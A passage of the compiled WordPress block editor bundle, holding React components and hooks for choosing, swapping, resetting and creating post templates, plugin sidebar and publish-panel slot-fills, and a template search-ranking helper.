14657 const templates = isFrontPage ? getEntityRecords("postType", "wp_template", {
14658 per_page: -1
14659 }) : [];
14660 const hasFrontPage = isFrontPage && !!templates?.some(({ slug }) => slug === "front-page");
14661 return !isPostsPage && !hasFrontPage;
14662 },
14663 [postId, postType]
14664 );
14665}
14666function useTemplates(postType) {
14667 return (0,external_wp_data_namespaceObject.useSelect)(
14668 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecords("postType", "wp_template", {
14669 per_page: -1,
14670 post_type: postType
14671 }),
14672 [postType]
14673 );
14674}
14675function useAvailableTemplates(postType) {
14676 const currentTemplateSlug = useCurrentTemplateSlug();
14677 const allowSwitchingTemplate = useAllowSwitchingTemplates();
14678 const templates = useTemplates(postType);
14679 return (0,external_wp_element_namespaceObject.useMemo)(
14680 () => allowSwitchingTemplate && templates?.filter(
14681 (template) => template.is_custom && template.slug !== currentTemplateSlug && !!template.content.raw
14682 // Skip empty templates.
14683 ),
14684 [templates, currentTemplateSlug, allowSwitchingTemplate]
14685 );
14686}
14687function useCurrentTemplateSlug() {
14688 const { postType, postId } = useEditedPostContext();
14689 const templates = useTemplates(postType);
14690 const entityTemplate = (0,external_wp_data_namespaceObject.useSelect)(
14691 (select) => {
14692 const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
14693 "postType",
14694 postType,
14695 postId
14696 );
14697 return post?.template;
14698 },
14699 [postType, postId]
14700 );
14701 if (!entityTemplate) {
14702 return;
14703 }
14704 return templates?.find((template) => template.slug === entityTemplate)?.slug;
14705}
14706
14707
14708;// ./node_modules/@wordpress/editor/build-module/components/post-template/classic-theme.js
14709
14710
14711
14712
14713
14714
14715
14716
14717
14718
14719
14720
14721
14722function PostTemplateToggle({ isOpen, onClick }) {
14723 const templateTitle = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14724 const templateSlug = select(store_store).getEditedPostAttribute("template");
14725 const { supportsTemplateMode, availableTemplates } = select(store_store).getEditorSettings();
14726 if (!supportsTemplateMode && availableTemplates[templateSlug]) {
14727 return availableTemplates[templateSlug];
14728 }
14729 const template = select(external_wp_coreData_namespaceObject.store).canUser("create", {
14730 kind: "postType",
14731 name: "wp_template"
14732 }) && select(store_store).getCurrentTemplateId();
14733 return template?.title || template?.slug || availableTemplates?.[templateSlug];
14734 }, []);
14735 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14736 external_wp_components_namespaceObject.Button,
14737 {
14738 __next40pxDefaultSize: true,
14739 variant: "tertiary",
14740 "aria-expanded": isOpen,
14741 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Template options"),
14742 onClick,
14743 children: templateTitle ?? (0,external_wp_i18n_namespaceObject.__)("Default template")
14744 }
14745 );
14746}
14747function PostTemplateDropdownContent({ onClose }) {
14748 const allowSwitchingTemplate = useAllowSwitchingTemplates();
14749 const {
14750 availableTemplates,
14751 fetchedTemplates,
14752 selectedTemplateSlug,
14753 canCreate,
14754 canEdit,
14755 currentTemplateId,
14756 onNavigateToEntityRecord,
14757 getEditorSettings
14758 } = (0,external_wp_data_namespaceObject.useSelect)(
14759 (select) => {
14760 const { canUser, getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
14761 const editorSettings = select(store_store).getEditorSettings();
14762 const canCreateTemplates = canUser("create", {
14763 kind: "postType",
14764 name: "wp_template"
14765 });
14766 const _currentTemplateId = select(store_store).getCurrentTemplateId();
14767 return {
14768 availableTemplates: editorSettings.availableTemplates,
14769 fetchedTemplates: canCreateTemplates ? getEntityRecords("postType", "wp_template", {
14770 post_type: select(store_store).getCurrentPostType(),
14771 per_page: -1
14772 }) : void 0,
14773 selectedTemplateSlug: select(store_store).getEditedPostAttribute("template"),
14774 canCreate: allowSwitchingTemplate && canCreateTemplates && editorSettings.supportsTemplateMode,
14775 canEdit: allowSwitchingTemplate && canCreateTemplates && editorSettings.supportsTemplateMode && !!_currentTemplateId,
14776 currentTemplateId: _currentTemplateId,
14777 onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
14778 getEditorSettings: select(store_store).getEditorSettings
14779 };
14780 },
14781 [allowSwitchingTemplate]
14782 );
14783 const options = (0,external_wp_element_namespaceObject.useMemo)(
14784 () => Object.entries({
14785 ...availableTemplates,
14786 ...Object.fromEntries(
14787 (fetchedTemplates ?? []).map(({ slug, title }) => [
14788 slug,
14789 title.rendered
14790 ])
14791 )
14792 }).map(([slug, title]) => ({ value: slug, label: title })),
14793 [availableTemplates, fetchedTemplates]
14794 );
14795 const selectedOption = options.find((option) => option.value === selectedTemplateSlug) ?? options.find((option) => !option.value);
14796 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14797 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
14798 const [isCreateModalOpen, setIsCreateModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
14799 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-template__classic-theme-dropdown", children: [
14800 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14801 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
14802 {
14803 title: (0,external_wp_i18n_namespaceObject.__)("Template"),
14804 help: (0,external_wp_i18n_namespaceObject.__)(
14805 "Templates define the way content is displayed when viewing your site."
14806 ),
14807 actions: canCreate ? [
14808 {
14809 icon: add_template_default,
14810 label: (0,external_wp_i18n_namespaceObject.__)("Add template"),
14811 onClick: () => setIsCreateModalOpen(true)
14812 }
14813 ] : [],
14814 onClose
14815 }
14816 ),
14817 !allowSwitchingTemplate ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)("The posts page template cannot be changed.") }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14818 external_wp_components_namespaceObject.SelectControl,
14819 {
14820 __next40pxDefaultSize: true,
14821 __nextHasNoMarginBottom: true,
14822 hideLabelFromVision: true,
14823 label: (0,external_wp_i18n_namespaceObject.__)("Template"),
14824 value: selectedOption?.value ?? "",
14825 options,
14826 onChange: (slug) => editPost({ template: slug || "" })
14827 }
14828 ),
14829 canEdit && onNavigateToEntityRecord && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14830 external_wp_components_namespaceObject.Button,
14831 {
14832 __next40pxDefaultSize: true,
14833 variant: "link",
14834 onClick: () => {
14835 onNavigateToEntityRecord({
14836 postId: currentTemplateId,
14837 postType: "wp_template"
14838 });
14839 onClose();
14840 createSuccessNotice(
14841 (0,external_wp_i18n_namespaceObject.__)(
14842 "Editing template. Changes made here affect all posts and pages that use the template."
14843 ),
14844 {
14845 type: "snackbar",
14846 actions: [
14847 {
14848 label: (0,external_wp_i18n_namespaceObject.__)("Go back"),
14849 onClick: () => getEditorSettings().onNavigateToPreviousEntityRecord()
14850 }
14851 ]
14852 }
14853 );
14854 },
14855 children: (0,external_wp_i18n_namespaceObject.__)("Edit template")
14856 }
14857 ) }),
14858 isCreateModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14859 CreateNewTemplateModal,
14860 {
14861 onClose: () => setIsCreateModalOpen(false)
14862 }
14863 )
14864 ] });
14865}
14866function ClassicThemeControl() {
14867 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
14868 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
14869 () => ({
14870 // Anchor the popover to the middle of the entire row so that it doesn't
14871 // move around when the label changes.
14872 anchor: popoverAnchor,
14873 className: "editor-post-template__dropdown",
14874 placement: "left-start",
14875 offset: 36,
14876 shift: true
14877 }),
14878 [popoverAnchor]
14879 );
14880 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Template"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14881 external_wp_components_namespaceObject.Dropdown,
14882 {
14883 popoverProps,
14884 focusOnMount: true,
14885 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14886 PostTemplateToggle,
14887 {
14888 isOpen,
14889 onClick: onToggle
14890 }
14891 ),
14892 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTemplateDropdownContent, { onClose })
14893 }
14894 ) });
14895}
14896var classic_theme_default = ClassicThemeControl;
14897
14898
14899;// external ["wp","warning"]
14900const external_wp_warning_namespaceObject = window["wp"]["warning"];
14901var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
14902;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-panel.js
14903
14904
14905
14906
14907
14908const { PreferenceBaseOption } = unlock(external_wp_preferences_namespaceObject.privateApis);
14909function EnablePanelOption(props) {
14910 const { toggleEditorPanelEnabled } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14911 const { isChecked, isRemoved } = (0,external_wp_data_namespaceObject.useSelect)(
14912 (select) => {
14913 const { isEditorPanelEnabled, isEditorPanelRemoved } = select(store_store);
14914 return {
14915 isChecked: isEditorPanelEnabled(props.panelName),
14916 isRemoved: isEditorPanelRemoved(props.panelName)
14917 };
14918 },
14919 [props.panelName]
14920 );
14921 if (isRemoved) {
14922 return null;
14923 }
14924 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14925 PreferenceBaseOption,
14926 {
14927 isChecked,
14928 onChange: () => toggleEditorPanelEnabled(props.panelName),
14929 ...props
14930 }
14931 );
14932}
14933
14934
14935;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-plugin-document-setting-panel.js
14936
14937
14938
14939const { Fill, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
14940 "EnablePluginDocumentSettingPanelOption"
14941);
14942const EnablePluginDocumentSettingPanelOption = ({ label, panelName }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, { label, panelName }) });
14943EnablePluginDocumentSettingPanelOption.Slot = Slot;
14944var enable_plugin_document_setting_panel_default = EnablePluginDocumentSettingPanelOption;
14945
14946
14947;// ./node_modules/@wordpress/editor/build-module/components/plugin-document-setting-panel/index.js
14948
14949
14950
14951
14952
14953
14954
14955const { Fill: plugin_document_setting_panel_Fill, Slot: plugin_document_setting_panel_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginDocumentSettingPanel");
14956const PluginDocumentSettingPanel = ({
14957 name,
14958 className,
14959 title,
14960 icon,
14961 children
14962}) => {
14963 const { name: pluginName } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
14964 const panelName = `${pluginName}/${name}`;
14965 const { opened, isEnabled } = (0,external_wp_data_namespaceObject.useSelect)(
14966 (select) => {
14967 const { isEditorPanelOpened, isEditorPanelEnabled } = select(store_store);
14968 return {
14969 opened: isEditorPanelOpened(panelName),
14970 isEnabled: isEditorPanelEnabled(panelName)
14971 };
14972 },
14973 [panelName]
14974 );
14975 const { toggleEditorPanelOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14976 if (void 0 === name) {
14977 external_wp_warning_default()("PluginDocumentSettingPanel requires a name property.");
14978 }
14979 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
14980 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14981 enable_plugin_document_setting_panel_default,
14982 {
14983 label: title,
14984 panelName
14985 }
14986 ),
14987 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_document_setting_panel_Fill, { children: isEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14988 external_wp_components_namespaceObject.PanelBody,
14989 {
14990 className,
14991 title,
14992 icon,
14993 opened,
14994 onToggle: () => toggleEditorPanelOpened(panelName),
14995 children
14996 }
14997 ) })
14998 ] });
14999};
15000PluginDocumentSettingPanel.Slot = plugin_document_setting_panel_Slot;
15001var plugin_document_setting_panel_default = PluginDocumentSettingPanel;
15002
15003
15004;// ./node_modules/@wordpress/editor/build-module/components/block-settings-menu/plugin-block-settings-menu-item.js
15005
15006
15007
15008
15009const isEverySelectedBlockAllowed = (selected, allowed) => selected.filter((id) => !allowed.includes(id)).length === 0;
15010const shouldRenderItem = (selectedBlocks, allowedBlocks) => !Array.isArray(allowedBlocks) || isEverySelectedBlockAllowed(selectedBlocks, allowedBlocks);
15011const PluginBlockSettingsMenuItem = ({
15012 allowedBlocks,
15013 icon,
15014 label,
15015 onClick,
15016 small,
15017 role
15018}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, { children: ({ selectedBlocks, onClose }) => {
15019 if (!shouldRenderItem(selectedBlocks, allowedBlocks)) {
15020 return null;
15021 }
15022 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15023 external_wp_components_namespaceObject.MenuItem,
15024 {
15025 onClick: (0,external_wp_compose_namespaceObject.compose)(onClick, onClose),
15026 icon,
15027 label: small ? label : void 0,
15028 role,
15029 children: !small && label
15030 }
15031 );
15032} });
15033var plugin_block_settings_menu_item_default = PluginBlockSettingsMenuItem;
15034
15035
15036;// ./node_modules/@wordpress/editor/build-module/components/plugin-more-menu-item/index.js
15037
15038
15039
15040
15041function PluginMoreMenuItem(props) {
15042 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
15043 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15044 action_item_default,
15045 {
15046 name: "core/plugin-more-menu",
15047 as: props.as ?? external_wp_components_namespaceObject.MenuItem,
15048 icon: props.icon || context.icon,
15049 ...props
15050 }
15051 );
15052}
15053
15054
15055;// ./node_modules/@wordpress/editor/build-module/components/plugin-post-publish-panel/index.js
15056
15057
15058
15059const { Fill: plugin_post_publish_panel_Fill, Slot: plugin_post_publish_panel_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginPostPublishPanel");
15060const PluginPostPublishPanel = ({
15061 children,
15062 className,
15063 title,
15064 initialOpen = false,
15065 icon
15066}) => {
15067 const { icon: pluginIcon } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
15068 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_publish_panel_Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15069 external_wp_components_namespaceObject.PanelBody,
15070 {
15071 className,
15072 initialOpen: initialOpen || !title,
15073 title,
15074 icon: icon ?? pluginIcon,
15075 children
15076 }
15077 ) });
15078};
15079PluginPostPublishPanel.Slot = plugin_post_publish_panel_Slot;
15080var plugin_post_publish_panel_default = PluginPostPublishPanel;
15081
15082
15083;// ./node_modules/@wordpress/editor/build-module/components/plugin-post-status-info/index.js
15084
15085
15086const { Fill: plugin_post_status_info_Fill, Slot: plugin_post_status_info_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginPostStatusInfo");
15087const PluginPostStatusInfo = ({ children, className }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_status_info_Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, { className, children }) });
15088PluginPostStatusInfo.Slot = plugin_post_status_info_Slot;
15089var plugin_post_status_info_default = PluginPostStatusInfo;
15090
15091
15092;// ./node_modules/@wordpress/editor/build-module/components/plugin-pre-publish-panel/index.js
15093
15094
15095
15096const { Fill: plugin_pre_publish_panel_Fill, Slot: plugin_pre_publish_panel_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginPrePublishPanel");
15097const PluginPrePublishPanel = ({
15098 children,
15099 className,
15100 title,
15101 initialOpen = false,
15102 icon
15103}) => {
15104 const { icon: pluginIcon } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
15105 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_pre_publish_panel_Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15106 external_wp_components_namespaceObject.PanelBody,
15107 {
15108 className,
15109 initialOpen: initialOpen || !title,
15110 title,
15111 icon: icon ?? pluginIcon,
15112 children
15113 }
15114 ) });
15115};
15116PluginPrePublishPanel.Slot = plugin_pre_publish_panel_Slot;
15117var plugin_pre_publish_panel_default = PluginPrePublishPanel;
15118
15119
15120;// ./node_modules/@wordpress/editor/build-module/components/plugin-preview-menu-item/index.js
15121
15122
15123
15124
15125function PluginPreviewMenuItem(props) {
15126 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
15127 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15128 action_item_default,
15129 {
15130 name: "core/plugin-preview-menu",
15131 as: props.as ?? external_wp_components_namespaceObject.MenuItem,
15132 icon: props.icon || context.icon,
15133 ...props
15134 }
15135 );
15136}
15137
15138
15139;// ./node_modules/@wordpress/editor/build-module/components/plugin-sidebar/index.js
15140
15141
15142function PluginSidebar({ className, ...props }) {
15143 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15144 complementary_area_default,
15145 {
15146 panelClassName: className,
15147 className: "editor-sidebar",
15148 scope: "core",
15149 ...props
15150 }
15151 );
15152}
15153
15154
15155;// ./node_modules/@wordpress/editor/build-module/components/plugin-sidebar-more-menu-item/index.js
15156
15157
15158function PluginSidebarMoreMenuItem(props) {
15159 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15160 ComplementaryAreaMoreMenuItem,
15161 {
15162 __unstableExplicitMenuItem: true,
15163 scope: "core",
15164 ...props
15165 }
15166 );
15167}
15168
15169
15170;// ./node_modules/@wordpress/editor/build-module/utils/search-templates.js
15171
15172function normalizeSearchInput(input = "") {
15173 input = remove_accents_default()(input);
15174 input = input.trim().toLowerCase();
15175 return input;
15176}
15177function getTemplateSearchRank(template, searchValue) {
15178 const normalizedSearchValue = normalizeSearchInput(searchValue);
15179 const normalizedTitle = normalizeSearchInput(template.title);
15180 let rank = 0;
15181 if (normalizedSearchValue === normalizedTitle) {
15182 rank += 30;
15183 } else if (normalizedTitle.startsWith(normalizedSearchValue)) {
15184 rank += 20;
15185 } else {
15186 const searchTerms = normalizedSearchValue.split(" ");
15187 const hasMatchedTerms = searchTerms.every(
15188 (searchTerm) => normalizedTitle.includes(searchTerm)
15189 );
15190 if (hasMatchedTerms) {
15191 rank += 10;
15192 }
15193 }
15194 return rank;
15195}
15196function searchTemplates(templates = [], searchValue = "") {
15197 if (!searchValue) {
15198 return templates;
15199 }
15200 const rankedTemplates = templates.map((template) => {
15201 return [template, getTemplateSearchRank(template, searchValue)];
15202 }).filter(([, rank]) => rank > 0);
15203 rankedTemplates.sort(([, rank1], [, rank2]) => rank2 - rank1);
15204 return rankedTemplates.map(([template]) => template);
15205}
15206
15207
15208;// ./node_modules/@wordpress/editor/build-module/components/post-template/swap-template-button.js
15209
15210
15211
15212
15213
15214
15215
15216
15217
15218
15219
15220function SwapTemplateButton({ onClick }) {
15221 const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
15222 const { postType, postId } = useEditedPostContext();
15223 const availableTemplates = useAvailableTemplates(postType);
15224 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
15225 const onTemplateSelect = async (template) => {
15226 editEntityRecord(
15227 "postType",
15228 postType,
15229 postId,
15230 { template: template.name },
15231 { undoIgnore: true }
15232 );
15233 setShowModal(false);
15234 onClick();
15235 };
15236 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15237 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15238 external_wp_components_namespaceObject.MenuItem,
15239 {
15240 disabled: !availableTemplates?.length,
15241 accessibleWhenDisabled: true,
15242 onClick: () => setShowModal(true),
15243 children: (0,external_wp_i18n_namespaceObject.__)("Change template")
15244 }
15245 ),
15246 showModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15247 external_wp_components_namespaceObject.Modal,
15248 {
15249 title: (0,external_wp_i18n_namespaceObject.__)("Choose a template"),
15250 onRequestClose: () => setShowModal(false),
15251 overlayClassName: "editor-post-template__swap-template-modal",
15252 isFullScreen: true,
15253 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-template__swap-template-modal-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15254 TemplatesList,
15255 {
15256 postType,
15257 onSelect: onTemplateSelect
15258 }
15259 ) })
15260 }
15261 )
15262 ] });
15263}
15264function TemplatesList({ postType, onSelect }) {
15265 const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)("");
15266 const availableTemplates = useAvailableTemplates(postType);
15267 const templatesAsPatterns = (0,external_wp_element_namespaceObject.useMemo)(
15268 () => availableTemplates.map((template) => ({
15269 name: template.slug,
15270 blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content.raw),
15271 title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title.rendered),
15272 id: template.id
15273 })),
15274 [availableTemplates]
15275 );
15276 const filteredBlockTemplates = (0,external_wp_element_namespaceObject.useMemo)(() => {
15277 return searchTemplates(templatesAsPatterns, searchValue);
15278 }, [templatesAsPatterns, searchValue]);
15279 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15280 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15281 external_wp_components_namespaceObject.SearchControl,
15282 {
15283 __nextHasNoMarginBottom: true,
15284 onChange: setSearchValue,
15285 value: searchValue,
15286 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
15287 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search"),
15288 className: "editor-post-template__swap-template-search"
15289 }
15290 ),
15291 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15292 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
15293 {
15294 label: (0,external_wp_i18n_namespaceObject.__)("Templates"),
15295 blockPatterns: filteredBlockTemplates,
15296 onClickPattern: onSelect
15297 }
15298 )
15299 ] });
15300}
15301
15302
15303;// ./node_modules/@wordpress/editor/build-module/components/post-template/reset-default-template.js
15304
15305
15306
15307
15308
15309
15310function ResetDefaultTemplate({ onClick }) {
15311 const currentTemplateSlug = useCurrentTemplateSlug();
15312 const allowSwitchingTemplate = useAllowSwitchingTemplates();
15313 const { postType, postId } = useEditedPostContext();
15314 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
15315 if (!currentTemplateSlug || !allowSwitchingTemplate) {
15316 return null;
15317 }
15318 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15319 external_wp_components_namespaceObject.MenuItem,
15320 {
15321 onClick: () => {
15322 editEntityRecord(
15323 "postType",
15324 postType,
15325 postId,
15326 { template: "" },
15327 { undoIgnore: true }
15328 );
15329 onClick();
15330 },
15331 children: (0,external_wp_i18n_namespaceObject.__)("Use default template")
15332 }
15333 );
15334}
15335
15336
15337;// ./node_modules/@wordpress/editor/build-module/components/post-template/create-new-template.js
15338
15339
15340
15341
15342
15343
15344
15345
15346function CreateNewTemplate() {
15347 const { canCreateTemplates } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15348 const { canUser } = select(external_wp_coreData_namespaceObject.store);
15349 return {
15350 canCreateTemplates: canUser("create", {
15351 kind: "postType",
15352 name: "wp_template"
15353 })
15354 };
15355 }, []);
15356 const [isCreateModalOpen, setIsCreateModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
15357 const allowSwitchingTemplate = useAllowSwitchingTemplates();
15358 if (!canCreateTemplates || !allowSwitchingTemplate) {
15359 return null;
15360 }
15361 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15362 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15363 external_wp_components_namespaceObject.MenuItem,
15364 {
15365 onClick: () => {
15366 setIsCreateModalOpen(true);
15367 },
15368 children: (0,external_wp_i18n_namespaceObject.__)("Create new template")
15369 }
15370 ),
15371 isCreateModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15372 CreateNewTemplateModal,
15373 {
15374 onClose: () => {
15375 setIsCreateModalOpen(false);
15376 }
15377 }
15378 )
15379 ] });
15380}
15381
15382
15383;// ./node_modules/@wordpress/editor/build-module/components/post-template/block-theme.js
15384
15385
15386
15387
15388
15389
15390
15391
15392
15393
15394
15395
15396
15397
15398
15399
15400function BlockThemeControl({ id }) {
15401 const {
15402 isTemplateHidden,
15403 onNavigateToEntityRecord,
15404 getEditorSettings,
15405 hasGoBack
15406 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15407 const { getRenderingMode, getEditorSettings: _getEditorSettings } = unlock(select(store_store));
15408 const editorSettings = _getEditorSettings();
15409 return {
15410 isTemplateHidden: getRenderingMode() === "post-only",
15411 onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
15412 getEditorSettings: _getEditorSettings,
15413 hasGoBack: editorSettings.hasOwnProperty(
15414 "onNavigateToPreviousEntityRecord"
15415 )
15416 };
15417 }, []);
15418 const { get: getPreference } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
15419 const { editedRecord: template, hasResolved } = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
15420 "postType",
15421 "wp_template",
15422 id
15423 );
15424 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
15425 const { setRenderingMode, setDefaultRenderingMode } = unlock(
15426 (0,external_wp_data_namespaceObject.useDispatch)(store_store)
15427 );
15428 const canCreateTemplate = (0,external_wp_data_namespaceObject.useSelect)(
15429 (select) => !!select(external_wp_coreData_namespaceObject.store).canUser("create", {
15430 kind: "postType",
15431 name: "wp_template"
15432 }),
15433 []
15434 );
15435 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
15436 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
15437 () => ({
15438 // Anchor the popover to the middle of the entire row so that it doesn't
15439 // move around when the label changes.
15440 anchor: popoverAnchor,
15441 className: "editor-post-template__dropdown",
15442 placement: "left-start",
15443 offset: 36,
15444 shift: true
15445 }),
15446 [popoverAnchor]
15447 );
15448 if (!hasResolved) {
15449 return null;
15450 }
15451 const notificationAction = hasGoBack ? [
15452 {
15453 label: (0,external_wp_i18n_namespaceObject.__)("Go back"),
15454 onClick: () => getEditorSettings().onNavigateToPreviousEntityRecord()
15455 }
15456 ] : void 0;
15457 const mayShowTemplateEditNotice = () => {
15458 if (!getPreference("core/edit-site", "welcomeGuideTemplate")) {
15459 createSuccessNotice(
15460 (0,external_wp_i18n_namespaceObject.__)(
15461 "Editing template. Changes made here affect all posts and pages that use the template."
15462 ),
15463 { type: "snackbar", actions: notificationAction }
15464 );
15465 }
15466 };
15467 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Template"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15468 external_wp_components_namespaceObject.DropdownMenu,
15469 {
15470 popoverProps,
15471 focusOnMount: true,
15472 toggleProps: {
15473 size: "compact",
15474 variant: "tertiary",
15475 tooltipPosition: "middle left"
15476 },
15477 label: (0,external_wp_i18n_namespaceObject.__)("Template options"),
15478 text: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title),
15479 icon: null,
15480 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15481 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
15482 canCreateTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15483 external_wp_components_namespaceObject.MenuItem,
15484 {
15485 onClick: () => {
15486 onNavigateToEntityRecord({
15487 postId: template.id,
15488 postType: "wp_template"
15489 });
15490 onClose();
15491 mayShowTemplateEditNotice();
15492 },
15493 children: (0,external_wp_i18n_namespaceObject.__)("Edit template")
15494 }
15495 ),
15496 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SwapTemplateButton, { onClick: onClose }),
15497 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetDefaultTemplate, { onClick: onClose }),
15498 canCreateTemplate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateNewTemplate, {})
15499 ] }),
